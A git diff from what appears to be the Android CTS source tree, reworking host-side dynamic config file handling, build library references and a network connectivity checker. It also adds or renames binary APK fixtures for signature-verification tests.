diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/DynamicConfigPusher.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/DynamicConfigPusher.java
index 7600eb7..a422525 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/DynamicConfigPusher.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/DynamicConfigPusher.java
@@ -50,7 +50,6 @@
     }
 
     private static final String LOG_TAG = DynamicConfigPusher.class.getSimpleName();
-    private static final String TMP_FOLDER_DYNAMIC_FILES = "dynamic-config-files";
 
     @Option(name = "cleanup", description = "Whether to remove config files from the test " +
             "target after test completion.")
@@ -137,21 +136,18 @@
                 break;
 
             case HOST:
-                File storageDir = null;
-                try {
-                    storageDir = FileUtil.createTempDir(TMP_FOLDER_DYNAMIC_FILES);
-                } catch (IOException e) {
-                    throw new TargetSetupError("Fail to create a tmp folder for dynamic config "
-                            + "files", e);
+                File storageDir = new File(DynamicConfig.CONFIG_FOLDER_ON_HOST);
+                if (!storageDir.exists()) {
+                    storageDir.mkdir();
                 }
-                File hostDest = new File(storageDir, src.getName());
+                File hostDest = new File(DynamicConfig.CONFIG_FOLDER_ON_HOST + src.getName());
                 try {
                     FileUtil.copyFile(src, hostDest);
                 } catch (IOException e) {
                     throw new TargetSetupError(String.format("Failed to copy file from %s to %s",
                             src.getAbsolutePath(), hostDest.getAbsolutePath()), e);
                 }
-                mFilePushed = storageDir.getAbsolutePath();
+                mFilePushed = hostDest.getAbsolutePath();
                 buildHelper.addDynamicConfigFile(mModuleName, src);
                 break;
         }
@@ -171,8 +167,9 @@
                 }
                 break;
             case HOST:
-                FileUtil.recursiveDelete(new File(mFilePushed));
-                break;
+                if (mFilePushed != null) {
+                    FileUtil.deleteFile(new File(mFilePushed));
+                }
         }
     }
 }
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/NetworkConnectivityChecker.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/NetworkConnectivityChecker.java
index 12c0767..e8043e9 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/NetworkConnectivityChecker.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/NetworkConnectivityChecker.java
@@ -19,30 +19,21 @@
 import com.android.compatibility.common.util.MonitoringUtils;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
 
 /**
  * Checks network connectivity status on device after module execution.
  */
 public class NetworkConnectivityChecker extends SystemStatusChecker {
 
-    // Only report is as failed (capture bugreport) when status goes from pass-> fail
-    private boolean mIsFailed = false;
-
     /**
      * {@inheritDoc}
      */
     @Override
     public boolean postExecutionCheck(ITestDevice device) throws DeviceNotAvailableException {
         if (!MonitoringUtils.checkDeviceConnectivity(device)) {
-            if (mIsFailed) {
-                CLog.w("NetworkConnectivityChecker is still failing.");
-                return true;
-            }
-            mIsFailed = true;
+            setFailureMessage("failed network connectivity check");
             return false;
         }
-        mIsFailed = false;
         return true;
     }
 }
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityTest.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityTest.java
index ee4abea..718a283 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityTest.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityTest.java
@@ -59,7 +59,6 @@
 import com.android.tradefed.testtype.IShardableTest;
 import com.android.tradefed.util.AbiFormatter;
 import com.android.tradefed.util.ArrayUtil;
-import com.android.tradefed.util.StreamUtil;
 import com.android.tradefed.util.TimeUtil;
 import com.android.tradefed.util.xml.AbstractXmlParser.ParseException;
 
@@ -68,6 +67,7 @@
 import java.io.FileInputStream;
 import java.io.FileNotFoundException;
 import java.io.InputStream;
+import java.io.IOException;
 import java.io.PrintWriter;
 import java.util.ArrayList;
 import java.util.Collection;
@@ -439,7 +439,11 @@
                     // was successful, and test execution should proceed to next module
                     ByteArrayOutputStream stack = new ByteArrayOutputStream();
                     due.printStackTrace(new PrintWriter(stack, true));
-                    StreamUtil.close(stack);
+                    try {
+                        stack.close();
+                    } catch (IOException ioe) {
+                        // won't happen on BAOS
+                    }
                     CLog.w("Ignored DeviceUnresponsiveException because recovery was successful, "
                             + "proceeding with next module. Stack trace: %s",
                             stack.toString());
diff --git a/common/host-side/tradefed/tests/Android.mk b/common/host-side/tradefed/tests/Android.mk
index e0b44a3..e8b959a 100644
--- a/common/host-side/tradefed/tests/Android.mk
+++ b/common/host-side/tradefed/tests/Android.mk
@@ -41,6 +41,6 @@
 
 LOCAL_STATIC_JAVA_LIBRARIES := easymock
 
-LOCAL_JAVA_LIBRARIES := tradefed-prebuilt compatibility-mock-tradefed junit compatibility-host-util
+LOCAL_JAVA_LIBRARIES := tradefed-prebuilt compatibility-mock-tradefed junit-host compatibility-host-util
 
 include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/common/host-side/util/src/com/android/compatibility/common/util/DynamicConfigHandler.java b/common/host-side/util/src/com/android/compatibility/common/util/DynamicConfigHandler.java
index 8df1ebc..351c08f 100644
--- a/common/host-side/util/src/com/android/compatibility/common/util/DynamicConfigHandler.java
+++ b/common/host-side/util/src/com/android/compatibility/common/util/DynamicConfigHandler.java
@@ -16,8 +16,6 @@
 
 package com.android.compatibility.common.util;
 
-import com.android.tradefed.util.FileUtil;
-
 import org.json.JSONArray;
 import org.json.JSONException;
 import org.json.JSONObject;
@@ -37,7 +35,8 @@
 
 public class DynamicConfigHandler {
 
-    private final static String MERGED_CONFIG_FILE_FOLDER = "dynamic-config-files-merged";
+    private static final String LOG_TAG = DynamicConfigHandler.class.getSimpleName();
+
     private static final String NS = null; //xml constant representing null namespace
     private static final String ENCODING = "UTF-8";
 
@@ -76,7 +75,9 @@
     private static File storeMergedConfigFile(Map<String, List<String>> configMap,
             String moduleName) throws XmlPullParserException, IOException {
 
-        File folder = FileUtil.createTempDir(MERGED_CONFIG_FILE_FOLDER);
+        File folder = new File(DynamicConfig.MERGED_CONFIG_FILE_FOLDER);
+        folder.mkdirs();
+
         File mergedConfigFile = new File(folder, moduleName + ".dynamic");
         OutputStream stream = new FileOutputStream(mergedConfigFile);
         XmlSerializer serializer = XmlPullParserFactory.newInstance().newSerializer();
diff --git a/common/host-side/util/src/com/android/compatibility/common/util/DynamicConfigHostSide.java b/common/host-side/util/src/com/android/compatibility/common/util/DynamicConfigHostSide.java
index fd823bf..3e94d36 100644
--- a/common/host-side/util/src/com/android/compatibility/common/util/DynamicConfigHostSide.java
+++ b/common/host-side/util/src/com/android/compatibility/common/util/DynamicConfigHostSide.java
@@ -16,54 +16,20 @@
 
 package com.android.compatibility.common.util;
 
-import com.android.tradefed.build.IBuildInfo;
-
 import org.xmlpull.v1.XmlPullParserException;
 
 import java.io.File;
 import java.io.IOException;
-import java.util.List;
-import java.util.Map;
 
 /**
  * Load dynamic config for device side test cases
  */
-public class DynamicConfigHostSide {
+public class DynamicConfigHostSide extends DynamicConfig {
 
-    public static final String CONFIG_PATH_PREFIX = "DYNAMIC_CONFIG_FILE:";
+    private static String LOG_TAG = DynamicConfigHostSide.class.getSimpleName();
 
-    /**
-     * Returns the value of a key from a downloaded file.
-     *
-     * @param file The file downloaded, can be retrieve via
-     *        {@link #getDynamicConfigFile(IBuildInfo, String)}
-     * @param key the key inside the file which value we want to return
-     * @return the value associated to the key in the config file provided.
-     */
-    public static String getValueFromConfig(File file, String key)
-            throws XmlPullParserException, IOException {
-        Map<String, List<String>> configMap = DynamicConfig.createConfigMap(file);
-        List<String> singleValue = configMap.get(key);
-        if (singleValue == null || singleValue.size() == 0 || singleValue.size() > 1) {
-            // key must exist in the map, and map to a list containing exactly one string
-            return null;
-        }
-        return singleValue.get(0);
-    }
-
-    /**
-     * Returns a dynamic config file downloaded in {@link DynamicConfigPusher} the path is stored
-     * in the build info under a module name.
-     *
-     * @param info the invocation {@link IBuildInfo}
-     * @param moduleName the name of the module of the file.
-     * @return a {@link File} created from the downloaded file.
-     */
-    public static File getDynamicConfigFile(IBuildInfo info, String moduleName) {
-        String path = info.getBuildAttributes().get(CONFIG_PATH_PREFIX + moduleName);
-        if (path!= null && !path.isEmpty()) {
-            return new File(path);
-        }
-        return null;
+    public DynamicConfigHostSide(String moduleName) throws IOException, XmlPullParserException {
+        File configFile = getConfigFile(new File(CONFIG_FOLDER_ON_HOST), moduleName);
+        initializeConfig(configFile);
     }
 }
diff --git a/common/host-side/util/tests/Android.mk b/common/host-side/util/tests/Android.mk
index 4a78835..6981ed7 100644
--- a/common/host-side/util/tests/Android.mk
+++ b/common/host-side/util/tests/Android.mk
@@ -18,10 +18,10 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_JAVA_LIBRARIES := compatibility-host-util junit json-prebuilt tradefed-prebuilt
+LOCAL_JAVA_LIBRARIES := compatibility-host-util junit-host json-prebuilt tradefed-prebuilt
 
 LOCAL_MODULE := compatibility-host-util-tests
 
 LOCAL_MODULE_TAGS := optional
 
-include $(BUILD_HOST_JAVA_LIBRARY)
\ No newline at end of file
+include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/common/util/Android.mk b/common/util/Android.mk
index 0d3754b..075e186 100644
--- a/common/util/Android.mk
+++ b/common/util/Android.mk
@@ -26,7 +26,7 @@
 
 LOCAL_MODULE := compatibility-common-util-devicesidelib
 
-LOCAL_STATIC_JAVA_LIBRARIES := guava
+LOCAL_STATIC_JAVA_LIBRARIES := guava junit
 
 LOCAL_SDK_VERSION := current
 
@@ -45,7 +45,7 @@
 LOCAL_MODULE := compatibility-common-util-hostsidelib
 
 LOCAL_STATIC_JAVA_LIBRARIES :=  guavalib \
-                                junit \
+                                junit-host \
                                 kxml2-2.3.0 \
                                 platform-test-annotations-host
 
diff --git a/common/util/src/com/android/compatibility/common/util/DynamicConfig.java b/common/util/src/com/android/compatibility/common/util/DynamicConfig.java
index 1efc5e1..d316b9d 100644
--- a/common/util/src/com/android/compatibility/common/util/DynamicConfig.java
+++ b/common/util/src/com/android/compatibility/common/util/DynamicConfig.java
@@ -42,7 +42,12 @@
     public static final String ENTRY_TAG = "entry";
     public static final String VALUE_TAG = "value";
     public static final String KEY_ATTR = "key";
+
     public final static String CONFIG_FOLDER_ON_DEVICE = "/sdcard/dynamic-config-files/";
+    public final static String CONFIG_FOLDER_ON_HOST =
+            System.getProperty("java.io.tmpdir") + "/dynamic-config-files/";
+    public final static String MERGED_CONFIG_FILE_FOLDER =
+            System.getProperty("java.io.tmpdir") + "/dynamic-config-files/merged";
 
     protected Map<String, List<String>> mDynamicConfigMap = new HashMap<String, List<String>>();
 
diff --git a/common/util/src/com/android/compatibility/common/util/VendorInterfaceTest.java b/common/util/src/com/android/compatibility/common/util/VendorInterfaceTest.java
new file mode 100644
index 0000000..5a448f1
--- /dev/null
+++ b/common/util/src/com/android/compatibility/common/util/VendorInterfaceTest.java
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Annotation marking a test case as part of the cts-vendor-interface plan for VTS's CTS on
+ * AOSP requirement.
+ * <p>
+ * Test classes and test cases marked with this annotation will be included in the
+ * cts-vendor-interface plan by default.
+ */
+@Retention(RetentionPolicy.RUNTIME)
+@Target({ElementType.METHOD, ElementType.TYPE})
+public @interface VendorInterfaceTest {
+}
diff --git a/common/util/tests/Android.mk b/common/util/tests/Android.mk
index 0e0af50..aa39ef5 100644
--- a/common/util/tests/Android.mk
+++ b/common/util/tests/Android.mk
@@ -18,7 +18,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_JAVA_LIBRARIES := junit kxml2-2.3.0 tradefed-prebuilt compatibility-common-util-hostsidelib
+LOCAL_JAVA_LIBRARIES := junit-host kxml2-2.3.0 tradefed-prebuilt compatibility-common-util-hostsidelib
 
 LOCAL_MODULE := compatibility-common-util-tests
 
diff --git a/development/ide/eclipse/.classpath b/development/ide/eclipse/.classpath
index 98939ba..8e44571 100644
--- a/development/ide/eclipse/.classpath
+++ b/development/ide/eclipse/.classpath
@@ -93,8 +93,6 @@
         <classpathentry kind="src" path="cts/tools/dex-tools/src"/>
         <classpathentry kind="src" path="cts/tools/signature-tools/src"/>
         <classpathentry kind="src" path="cts/tools/signature-tools/test"/>
-        <classpathentry kind="src" path="cts/tools/tradefed-host/src"/>
-        <classpathentry kind="src" path="cts/tools/tradefed-host/tests/src"/>
         <classpathentry kind="src" path="cts/tools/utils"/>
         <classpathentry kind="src" path="cts/tools/vm-tests-tf/src"/>
         <classpathentry kind="src" path="external/easymock/src"/>
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/empty-unsigned.apk b/hostsidetests/appsecurity/res/pkgsigverify/empty-unsigned.apk
new file mode 100644
index 0000000..15cb0ec
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/empty-unsigned.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-empty.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-empty.apk
new file mode 100644
index 0000000..1967272
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-empty.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-max-sized-eocd-comment.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-max-sized-eocd-comment.apk
new file mode 100644
index 0000000..f7c8db3
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-max-sized-eocd-comment.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha1-1.2.840.10040.4.1-1024.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha1-1.2.840.10040.4.1-1024.apk
new file mode 100644
index 0000000..02ce027
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha1-1.2.840.10040.4.1-1024.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha1-1.2.840.10040.4.1-2048.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha1-1.2.840.10040.4.1-2048.apk
new file mode 100644
index 0000000..62f8e69
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha1-1.2.840.10040.4.1-2048.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha1-1.2.840.10040.4.1-3072.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha1-1.2.840.10040.4.1-3072.apk
new file mode 100644
index 0000000..e8f1633
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha1-1.2.840.10040.4.1-3072.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha1-1024.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha1-1.2.840.10040.4.3-1024.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha1-1024.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha1-1.2.840.10040.4.3-1024.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha1-2048.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha1-1.2.840.10040.4.3-2048.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha1-2048.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha1-1.2.840.10040.4.3-2048.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha1-3072.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha1-1.2.840.10040.4.3-3072.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha1-3072.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha1-1.2.840.10040.4.3-3072.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha224-1.2.840.10040.4.1-1024.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha224-1.2.840.10040.4.1-1024.apk
new file mode 100644
index 0000000..11d3942
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha224-1.2.840.10040.4.1-1024.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha224-1.2.840.10040.4.1-2048.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha224-1.2.840.10040.4.1-2048.apk
new file mode 100644
index 0000000..be8fd4b
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha224-1.2.840.10040.4.1-2048.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha224-1.2.840.10040.4.1-3072.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha224-1.2.840.10040.4.1-3072.apk
new file mode 100644
index 0000000..2f4db65
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha224-1.2.840.10040.4.1-3072.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha224-1024.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha224-2.16.840.1.101.3.4.3.1-1024.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha224-1024.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha224-2.16.840.1.101.3.4.3.1-1024.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha224-2048.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha224-2.16.840.1.101.3.4.3.1-2048.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha224-2048.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha224-2.16.840.1.101.3.4.3.1-2048.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha224-3072.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha224-2.16.840.1.101.3.4.3.1-3072.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha224-3072.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha224-2.16.840.1.101.3.4.3.1-3072.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha256-1.2.840.10040.4.1-1024.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha256-1.2.840.10040.4.1-1024.apk
new file mode 100644
index 0000000..5a7e4d3
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha256-1.2.840.10040.4.1-1024.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha256-1.2.840.10040.4.1-2048.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha256-1.2.840.10040.4.1-2048.apk
new file mode 100644
index 0000000..edeb27d
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha256-1.2.840.10040.4.1-2048.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha256-1.2.840.10040.4.1-3072.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha256-1.2.840.10040.4.1-3072.apk
new file mode 100644
index 0000000..ea5deea
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha256-1.2.840.10040.4.1-3072.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha256-1024.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha256-2.16.840.1.101.3.4.3.2-1024.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha256-1024.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha256-2.16.840.1.101.3.4.3.2-1024.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha256-2048.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha256-2.16.840.1.101.3.4.3.2-2048.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha256-2048.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha256-2.16.840.1.101.3.4.3.2-2048.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha256-3072.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha256-2.16.840.1.101.3.4.3.2-3072.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha256-3072.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha256-2.16.840.1.101.3.4.3.2-3072.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha384-1024.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha384-2.16.840.1.101.3.4.3.3-1024.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha384-1024.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha384-2.16.840.1.101.3.4.3.3-1024.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha384-2048.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha384-2.16.840.1.101.3.4.3.3-2048.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha384-2048.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha384-2.16.840.1.101.3.4.3.3-2048.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha384-3072.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha384-2.16.840.1.101.3.4.3.3-3072.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha384-3072.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha384-2.16.840.1.101.3.4.3.3-3072.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha512-1024.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha512-2.16.840.1.101.3.4.3.4-1024.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha512-1024.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha512-2.16.840.1.101.3.4.3.4-1024.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha512-2048.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha512-2.16.840.1.101.3.4.3.4-2048.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha512-2048.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha512-2.16.840.1.101.3.4.3.4-2048.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha512-3072.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha512-2.16.840.1.101.3.4.3.4-3072.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha512-3072.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-dsa-sha512-2.16.840.1.101.3.4.3.4-3072.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha1-1.2.840.10045.2.1-p256.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha1-1.2.840.10045.2.1-p256.apk
new file mode 100644
index 0000000..bfa657a
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha1-1.2.840.10045.2.1-p256.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha1-1.2.840.10045.2.1-p384.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha1-1.2.840.10045.2.1-p384.apk
new file mode 100644
index 0000000..42ee240
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha1-1.2.840.10045.2.1-p384.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha1-1.2.840.10045.2.1-p521.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha1-1.2.840.10045.2.1-p521.apk
new file mode 100644
index 0000000..fe3efbf
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha1-1.2.840.10045.2.1-p521.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha1-p256.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha1-1.2.840.10045.4.1-p256.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha1-p256.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha1-1.2.840.10045.4.1-p256.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha1-p384.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha1-1.2.840.10045.4.1-p384.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha1-p384.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha1-1.2.840.10045.4.1-p384.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha1-p521.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha1-1.2.840.10045.4.1-p521.apk
similarity index 100%
rename from hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha1-p521.apk
rename to hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha1-1.2.840.10045.4.1-p521.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha224-1.2.840.10045.2.1-p256.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha224-1.2.840.10045.2.1-p256.apk
new file mode 100644
index 0000000..fff1789
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha224-1.2.840.10045.2.1-p256.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha224-1.2.840.10045.2.1-p384.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha224-1.2.840.10045.2.1-p384.apk
new file mode 100644
index 0000000..0d83e41
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha224-1.2.840.10045.2.1-p384.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha224-1.2.840.10045.2.1-p521.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha224-1.2.840.10045.2.1-p521.apk
new file mode 100644
index 0000000..92f8548
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha224-1.2.840.10045.2.1-p521.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha224-p256.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-with-ecdsa-sha224-1.2.840.10045.4.3.1-p256.apk
similarity index 100%
